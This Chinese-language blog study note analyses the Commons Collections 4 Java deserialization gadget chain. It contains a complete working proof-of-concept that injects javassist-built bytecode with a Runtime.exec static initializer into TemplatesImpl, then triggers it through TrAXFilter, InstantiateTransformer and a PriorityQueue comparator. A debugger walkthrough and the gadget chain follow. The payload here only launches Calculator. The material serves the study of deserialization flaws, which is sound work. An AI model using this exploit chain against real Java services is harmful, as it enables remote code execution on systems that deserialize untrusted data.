CommonsCollection4反序列化链学习
CommonsCollection4
1、前置知识
由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取InvokeTransformer()获取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的代码学习下。
1.1、transformingComparator
与cc2最大的不容就是transformingComparator的构造方式不同,这里是通过获取InstantiateTransformer实例化TrAXFilter并且把templatesImpl恶意类传入,其实就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且这就是cc3所用的方式,所以cc3在cc4占很少的部分,主要还是cc2
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformersTransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
2、PoC分析 2.1、Poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollection4 {public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
//返回默认的类池
classPool.appendClassPath(AbstractTranslet);
//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");
//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
//设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");
");
//创建一个空的类初始化,设置构造函数主体为runtime//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();
//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");
//反射获取templatesImpl的_name字段
field1.setAccessible(true);
//暴力反射
field1.set(templatesImpl,"test");
//将templatesImpl上的_name字段设置为test/*Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString());
Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0;
i < bytes1.length;
i++) {
System.out.println(bytes1.length);
System.out.println(Arrays.toString(bytes1[i]));
}*/Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformersTransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
priorityQueue.add(1);
//添加数字1插入此优先级队列
priorityQueue.add(1);
//添加数字1插入此优先级队列Field field2=priorityQueue.getClass().getDeclaredField("comparator");
//获取PriorityQueue的comparator字段
field2.setAccessible(true);
//暴力反射
field2.set(priorityQueue,transformingComparator);
//设置priorityQueue的comparator属性值为transformingComparatorObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}
文章图片
2.2、poc调试
在PriorityQueue的readObject打断点,发现队列内就是两个数字,进入heapify()
文章图片
因为在poc中我们没对queue字段赋值,所以queue里面就是两个数字,继续跟入siteDown()
文章图片
发现x就是queue为空,与cc2此时的x为templatImpl,继续进入siftDownUsingComparator
文章图片
进入发现,通过comparator.compare(),这个comparator就是我们的恶意TransformingComparator
文章图片
进入发现TransformingComparator的compare方法里,用this.transformer调用了transform方法,此时的this.transformer是我们传入的ChainedTransformer,链式调用transform
文章图片
进入后看到第一个是ConstantTransformer,继续跟进transform方法
文章图片
返回我们一开始构造的TrAXFilter.class
文章图片
第二遍是进入InstantiateTransformer ,object为我们上次循环获取TrAXFilter.class.继续跟进transform()
文章图片
这个transform就是实例化传入的object既TrAXFilter,而且传入的参数值为我们一起开始创建的恶意加载字节类TransformerImpl
文章图片
进入TrAXFilter的构造方法,传入的TransformerImpl被赋值给了templates,templates调用newTransformer方法,继续跟进
文章图片
TransformerImpl的newTransformer方法,会调用本类的getTransletInstance方法,继续跟进
文章图片
发现会继续调用defineTransletClasses(),继续跟进
文章图片
进入defineTransletClasses方法后发现,会把我们前面构造的_bytecodes[i]传输给_class[i],饭后返回到getTransletInstance方法
文章图片
然后在getTransletInstance方法后,实例化我们传入的_class[i]恶意类》TemplatesImpl》CommonsCollection2Test.
文章图片
实例化就会调用我们一开始设置的静态代码块,造成RCE
2.3、利用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()
2.4、思维导图
文章图片
2.5、结束
【CommonsCollection4反序列化链学习】cc4链还是比较简单,我继续每一步调试的原因就是可以更好的复习前面学习的链
推荐阅读
- Docker容器下运行Nginx并实现反向代理
- C#复杂XML反序列化为实体对象两种方式
- dll反编译(修改引用文件、修改代码)再生成dll
- Python文件的应用之序列化与反序列化详解
- 序列化多表操作、请求与响应、视图组件(子类与拓展类)、继承GenericAPIView类重写接口
- CommonCollection1反序列化学系
- 数据结构|反转链表-四种方法
- 经历了源码的痛苦,掌握DRF的核心序列化器
- 利用js文件反弹shell
- 字符串反转和句子反转(字符串逆序和句子逆序)